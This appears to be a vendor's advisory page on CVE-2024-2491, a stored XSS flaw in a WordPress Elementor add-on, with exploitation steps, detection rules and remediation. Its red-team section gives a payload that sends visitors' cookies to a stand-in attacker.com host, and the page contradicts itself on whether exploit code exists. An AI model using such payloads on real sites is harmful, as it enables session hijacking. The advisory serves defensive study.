CVE-2024-2491
Executive Summary
CVE-2024-2491 is a Stored Cross-Site Scripting (XSS) vulnerability in the PowerPack Addons for Elementor WordPress plugin, affecting all versions up to and including 2.7.17. The flaw resides in the *_html_tag* attribute of multiple widgets, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, leading to potential session hijacking, data theft, or defacement.
This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the potential for widespread impact due to the stored nature of the attack. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases risk for unmaintained installations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access
- User Interaction: None (UI:N)
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. While authentication is required, the stored XSS can affect all site visitors, including administrators, leading to privilege escalation or data exfiltration.
Deep Dive & Mechanics
The vulnerability exists in the *_html_tag* attribute of multiple widgets within the PowerPack Addons for Elementor plugin. This attribute is used to define HTML tags for widget elements (e.g., <h1>, <div>, <span>). The plugin fails to properly sanitize user input and escape output when rendering these tags, allowing an attacker to inject malicious JavaScript.
Attack Flow:
- An authenticated user with contributor-level access or higher creates or edits a page using a vulnerable PowerPack widget.
- The attacker sets the
*_html_tag*attribute to a malicious payload, such as<img src=x onerror=alert(1)>. - The plugin stores the payload in the WordPress database without proper sanitization.
- When any user (including administrators) visits the page, the payload executes in their browser context.
Root Cause: The plugin uses esc_html() or similar functions inconsistently, or fails to validate that the input is a safe HTML tag name. This allows arbitrary HTML and JavaScript to be injected.
Vulnerable vs. Patched Code
Since no official patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.
Vulnerable Code (example from widget):
// In a widget's render method
$html_tag = $settings['html_tag'];
echo '<' . $html_tag . ' class="widget-class">' . $content . '</' . $html_tag . '>';
Patched Code (hypothetical):
// Use a whitelist of allowed tags
$allowed_tags = ['h1', 'h2', 'h3', 'div', 'span', 'p'];
$html_tag = in_array($settings['html_tag'], $allowed_tags) ? $settings['html_tag'] : 'div';
echo '<' . esc_attr($html_tag) . ' class="widget-class">' . wp_kses_post($content) . '</' . esc_attr($html_tag) . '>';
The fix involves:
- Whitelisting allowed HTML tags.
- Using
esc_attr()to escape the tag name. - Using
wp_kses_post()or similar for content escaping.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with PowerPack Addons for Elementor <= 2.7.17.
- An account with contributor-level access or higher.
Steps:
- Log in to WordPress as a contributor.
- Create a new page or edit an existing one.
- Add a vulnerable PowerPack widget (e.g., Heading, Icon Box).
- In the widget settings, locate the
*_html_tag*attribute (e.g.,heading_html_tag). - Set the attribute to a malicious payload, such as:
or for more impact:img src=x onerror=alert('XSS')script>document.location='https://attacker.com/steal.php?c='+document.cookie</script - Save and publish the page.
- When any user visits the page, the script executes.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Detection & Response)
Detection:
- Monitor for unusual changes to
*_html_tag*attributes in PowerPack widgets. - Look for pages containing unexpected
<script>tags or event handlers (e.g.,onerror,onload). - Use Web Application Firewall (WAF) rules to block common XSS payloads in widget settings.
Response:
- Immediately disable the PowerPack Addons for Elementor plugin if no patch is available.
- Review and revert any suspicious page edits.
- Rotate all user sessions and credentials if compromise is suspected.
Indicators of Compromise (IOCs)
File Indicators:
- Modified page/post content in the WordPress database containing
<script>tags or event handlers. - Presence of malicious JavaScript in
wp_postmetatable for_elementor_datameta key.
- Modified page/post content in the WordPress database containing
Network Indicators:
- Outbound HTTP requests to known malicious domains from the WordPress server.
- Unusual referrer headers or user-agent strings in server logs.
Log Indicators:
- WordPress audit logs showing edits to pages by contributor-level users with suspicious widget settings.
- PHP error logs indicating failed sanitization attempts.
Detection Engineering
YARA Rule
rule Detect_PowerPack_XSS_Payload {
meta:
description = "Detects stored XSS payloads targeting PowerPack Addons for Elementor CVE-2024-2491"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-2491"
strings:
$xss1 = /<[^>]*\s+on\w+\s*=\s*['\"][^'\"]*['\"]/i
$xss2 = /<script[^>]*>.*?<\/script>/is
$html_tag = /html_tag["\']\s*:\s*["\'][^"\']*["\']/
condition:
all of ($xss*) and $html_tag
}
Sigma Rule
title: Stored XSS via PowerPack Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the *_html_tag* attribute in PowerPack widgets
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-2491
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: "/wp-admin/admin-ajax.php"
http.body|contains|all:
- "html_tag"
- "onerror"
- "onload"
condition: selection
falsepositives:
- Legitimate use of event handlers in rare cases
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2491 PowerPack Addons for Elementor Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"html_tag"; http_client_body; pcre:"/<[^>]*\s+on\w+\s*=\s*['\"][^'\"]*['\"]/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if no patch is available. Navigate to Plugins > Installed Plugins and deactivate "PowerPack Addons for Elementor".
- Review and clean any pages or posts that may have been compromised. Use a security plugin to scan for injected scripts.
- Restrict user roles – limit contributor-level access to trusted users only.
Long-term Fix:
- Monitor the vendor's website or WordPress plugin repository for an official patch.
- Apply the patch as soon as it becomes available.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Workaround:
- If the plugin cannot be disabled, manually edit the widget files to add input validation and output escaping as shown in the "Vulnerable vs. Patched Code" section.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.